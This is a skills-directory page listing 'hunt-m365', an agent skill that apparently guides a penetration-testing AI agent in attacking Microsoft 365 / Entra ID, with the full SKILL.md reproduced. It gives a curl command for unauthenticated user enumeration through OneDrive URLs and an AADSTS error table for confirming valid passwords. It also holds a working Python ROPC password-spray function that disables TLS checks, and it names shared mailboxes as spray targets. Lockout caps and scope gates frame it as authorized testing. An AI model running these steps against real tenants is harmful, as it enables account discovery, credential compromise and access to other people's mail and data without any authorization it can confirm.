Msgraph
codemie-ai/codemie-code
Work with Microsoft 365 services via the Graph API — emails, calendar events, SharePoint sites (read and write), Teams chats and channel messages, OneDrive files, OneNote notebooks, Planner task…
Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC…
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-m365 --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-m365 .claude/skills/hunt-m365 && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .claude/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365Type this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-m365 --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/hunt/hunt-m365 .agents/skills/hunt-m365 && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .agents/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-m365 --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/hunt/hunt-m365 .cursor/skills/hunt-m365 && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .cursor/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/Encod3d-Sec/TORCH.git --path skills/hunt/hunt-m365--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-m365 --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/hunt/hunt-m365 .gemini/skills/hunt-m365 && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .gemini/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install Encod3d-Sec/TORCH hunt-m365Installs for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/hunt/hunt-m365 .github/skills/hunt-m365 && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .github/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install Encod3d-Sec/TORCH hunt-m365 --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/hunt/hunt-m365 .opencode/skills/hunt-m365 && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "hunt-m365" agent skill from https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-m365 into .opencode/skills/hunt-m365/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "hunt-m365", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
hunt-m365Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC…
Hunt M365 is an agent skill from Encod3d-Sec/TORCH. Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC validation, Conditional Access mapping. Wiki-first, FIND schema output.
Its SKILL.md is about 2k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.
It sits in Documents & Office, covering Cloud office suites. It works with Microsoft 365, Microsoft Entra ID and Microsoft OneDrive. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.
3 steps, taken from the first numbered list in SKILL.md.
Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
python3curlFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
graph.windows.netlogin.microsoftonline.comFrom URLs in SKILL.md, links to its own repository left out.
Names these keys or tokens, usually read from environment variables:
VALID_TOKENFrom names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Hunt M365 loads about 2k tokens when it runs. Until then it costs about 68 tokens; SKILL.md has 737 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 737 words, ~2,006 tokens.
.claude/skills/hunt-m365/SKILL.md (or your agent's skills folder).Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
qmd_query "Microsoft 365 Entra ID Azure AD tenant discovery user enumeration OneDrive AADSTS smart lockout conditional access ROPC" via wiki-search MCPHub: [[cloud-moc]] (live index). Primary page: [[azure-ad-enumerate]]. Anchors: [[azure-ad-conditional-access-policy]] (the CA gap you must prove bypassed), [[azure-ad-access-and-tokens]] (ROPC / token issuance).
Fingerprint (target is M365/Entra) when you see: *.onmicrosoft.com, *-my.sharepoint.com, login.microsoftonline.com redirects, enterpriseregistration.* records, or "Microsoft 365" in tech-stack notes.
| Code | Meaning | Lockout hit? | Action |
|---|---|---|---|
| 50034 | User does not exist | NO | Skip - remove from spray list |
| 50126 | Wrong password | YES (+1) | User exists - try alternate later |
| 50053 | Account locked (Smart Lockout) | n/a | Pre-existing lockout - flag to client; do NOT retry |
| 53003 | CA blocked token issuance | YES (+1) | PASSWORD VALID |
| 50076 | MFA required | YES (+1) | PASSWORD VALID |
| 50079 | Strong auth required | YES (+1) | PASSWORD VALID |
| 50158 | External auth required | YES (+1) | PASSWORD VALID |
| 530003 | Device-state required | YES (+1) | PASSWORD VALID |
Codes {53003, 50076, 50079, 50158, 530003} = password confirmed valid. Microsoft only returns these AFTER credential validation.
This cap is stricter than the hunt-core generic enumeration ceiling and overrides it. Never batch a password list against a user, never loop the ROPC helper without its per-email attempt file, and never re-run a user that already spent its attempt. If a step would exceed 1-2 attempts/user, stop and reduce it.
msftrecon -d client.example
# Key fields: Tenant ID, Namespace Type (Managed = ROPC works | Federated = ADFS)
# SharePoint Detected: Yes -> OneDrive enum available# 200 with ~57KB body = user EXISTS (licensed)
# 404 with 0 bytes = user DOES NOT EXIST
curl -sk "https://<tenant>-my.sharepoint.com/personal/<user>_<domain>_com/_layouts/15/onedrive.aspx"
# Zero auth attempts -- zero lockout impactSignal: OneDrive 404 + ROPC AADSTS50126 = functional/shared mailbox account (no OneDrive license, has password) = prime target for spray (historically MFA-exempt).
HARD_CAP = 1 is load-bearing, not a default. The per-email attempt file is what keeps step 3 inside the Smart Lockout math above - do not remove it, do not raise the cap, do not call attempt() in a bare list loop.
import urllib.request, urllib.parse, ssl, json, os
HARD_CAP = 1 # Never higher
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
def attempt(email, password):
state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {}
if state.get(email.lower(), 0) >= HARD_CAP:
return {"status": "SKIPPED_CAP"}
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
body = urllib.parse.urlencode({
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"client_info": "1",
"grant_type": "password",
"username": email,
"password": password,
"scope": "openid",
}).encode()
req = urllib.request.Request(
"https://login.microsoftonline.com/common/oauth2/token",
data=body,
method="POST"
)
try:
resp = urllib.request.urlopen(req, context=ctx, timeout=15)
result = json.loads(resp.read())
token_result = {"status": "VALID_TOKEN", "token": result.get("access_token","")[:20]+"..."}
except urllib.error.HTTPError as e:
err = json.loads(e.read())
code = err.get("error_codes", [0])[0]
token_result = {"status": "ERROR", "code": code, "desc": err.get("error_description","")[:80]}
state[email.lower()] = state.get(email.lower(), 0) + 1
with open(ATTEMPT_FILE, "w") as f:
json.dump(state, f)
return token_resultAfter finding valid credential (AADSTS53003/50076/etc), document CA policy:
M365/Entra specific. Adds to the hunt-core gate, does not replace it.
NOT confirmation: a valid username from OneDrive enumeration alone (200 / ~57KB body proves the account exists and is licensed, never that it is accessible); an AADSTS error code read in isolation - especially AADSTS50126 (wrong password: proves only that the user EXISTS) and AADSTS50034 (no user). An error code is not a token. A "CA bypass" inferred from a block code (AADSTS53003) without an actually issued access token - 53003 proves the password, it does NOT prove you got past Conditional Access.
IS confirmation - valid credential: ROPC returns an access_token (VALID_TOKEN), OR the login returns one of the strictly-post-validation codes {53003, 50076, 50079, 50158, 530003} (Microsoft emits these only after the password checks out; password confirmed, access gated by MFA/CA). Reproduced.
IS confirmation - Conditional Access bypass: an access_token actually obtained through a client_id / flow the policy fails to cover (not merely a 53003 on one client), reproduced in a clean run.
Confirmed credential + obtained token -> hand off to hunt-cloud (Azure / Graph post-auth enumeration) or hunt-federation (AiTM / token replay when CA blocks direct ROPC). A Federated namespace (ADFS) -> hunt-auth legacy-protocol matrix instead of ROPC.
| Outcome | Severity |
|---|---|
| CA bypassed and access token obtained (data / Graph access) | critical |
| Valid password confirmed but MFA / CA blocks token issuance | high |
| Unauthenticated user-enum / no rate-limit endpoint (enables spray) | high |
Distill (when confirmed): reusable CA bypass or OneDrive enumeration method, GENERIC, no client host -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/cloud/azure-ad-enumerate.md (CA bypass: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/cloud/azure-ad-conditional-access-policy.md).
© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in skills/hunt/hunt-m365 of Encod3d-Sec/TORCH.
Open the folder on GitHubat commit d21b6c9
Hunt M365 next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Hunt M365 this skillEncod3d-Sec/TORCH | 329 | — | ~2k | Automated safety check: Pass | MIT | |
| Msgraphcodemie-ai/codemie-code | 294 | — | ~4.1k | Automated safety check: Pass | Apache-2.0 | |
| aai-cli Microsoft 365aai-labs/agent-barn | 109 | — | ~1.2k | Automated safety check: Pass | Apache-2.0 | |
| Workiqmicrosoft/work-iq | 1k | — | ~15k | Automated safety check: Pass | Custom licence | |
| Workiq Previewmicrosoft/work-iq | 1k | — | ~3.3k | Automated safety check: Pass | Custom licence | |
| Ms365 Tenant Manageralirezarezvani/claude-skills | 28k | 1 repos | ~2.8k | Automated safety check: Pass | MIT |
codemie-ai/codemie-code
Work with Microsoft 365 services via the Graph API — emails, calendar events, SharePoint sites (read and write), Teams chats and channel messages, OneDrive files, OneNote notebooks, Planner task…
aai-labs/agent-barn
Guides work with Outlook, OneDrive, SharePoint, Teams, Excel, To Do and Planner through aai-cli's Microsoft Graph commands, starting from which service owns the data.
microsoft/work-iq
WorkIQ tools for Microsoft 365 workplace data and actions. An agent skill from microsoft/work-iq.
microsoft/work-iq
WorkIQ tools for Microsoft 365 workplace data and actions. An agent skill from microsoft/work-iq.
alirezarezvani/claude-skills
Microsoft 365 tenant administration for Global Administrators.
automateyournetwork/netclaw
Read OneDrive and SharePoint files via the Microsoft 365 MCP server — list folder contents, fetch item metadata, inspect versions and sharing permissions.
Encod3d-Sec/TORCH
Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.
Encod3d-Sec/TORCH
Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.
Encod3d-Sec/TORCH
Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.
Encod3d-Sec/TORCH
Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.
Encod3d-Sec/TORCH
Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.
Encod3d-Sec/TORCH
Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.
Categories
Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC…. Hunt M365 is an agent skill from Encod3d-Sec/TORCH. Microsoft 365 / Entra ID attack - tenant discovery, user enumeration via OneDrive differential (2026 verified), AADSTS code reference, Smart Lockout math (hard cap 1-2 attempts/user), ROPC validation, Conditional Access mapping.
Hunt M365 fits situations like: tasks that involve Cloud office suites.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a claude-code`. Or copy the skill folder (skills/hunt/hunt-m365 in Encod3d-Sec/TORCH) into .claude/skills/hunt-m365 in your project. Claude Code loads it when a task matches its description.
Run `npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a codex`. Or copy the skill folder (skills/hunt/hunt-m365 in Encod3d-Sec/TORCH) into .agents/skills/hunt-m365 in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-m365 -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-m365, .gemini/skills/hunt-m365, .github/skills/hunt-m365 and .opencode/skills/hunt-m365 in your project.
Going by SKILL.md and its folder, Hunt M365 needs the command-line tools its instructions call (python3 and curl) and credentials named VALID_TOKEN. Our summary lists: Python 3; A credential in VALID_TOKEN.
SKILL.md names 2 domains. In commands or code: graph.windows.net and login.microsoftonline.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Hunt M365 is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 2k tokens (SKILL.md is roughly 8k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Hunt M365: Msgraph (codemie-ai/codemie-code, 294 stars), aai-cli Microsoft 365 (aai-labs/agent-barn, 109 stars), Workiq (microsoft/work-iq, 1k stars) and Workiq Preview (microsoft/work-iq, 1k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.
Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.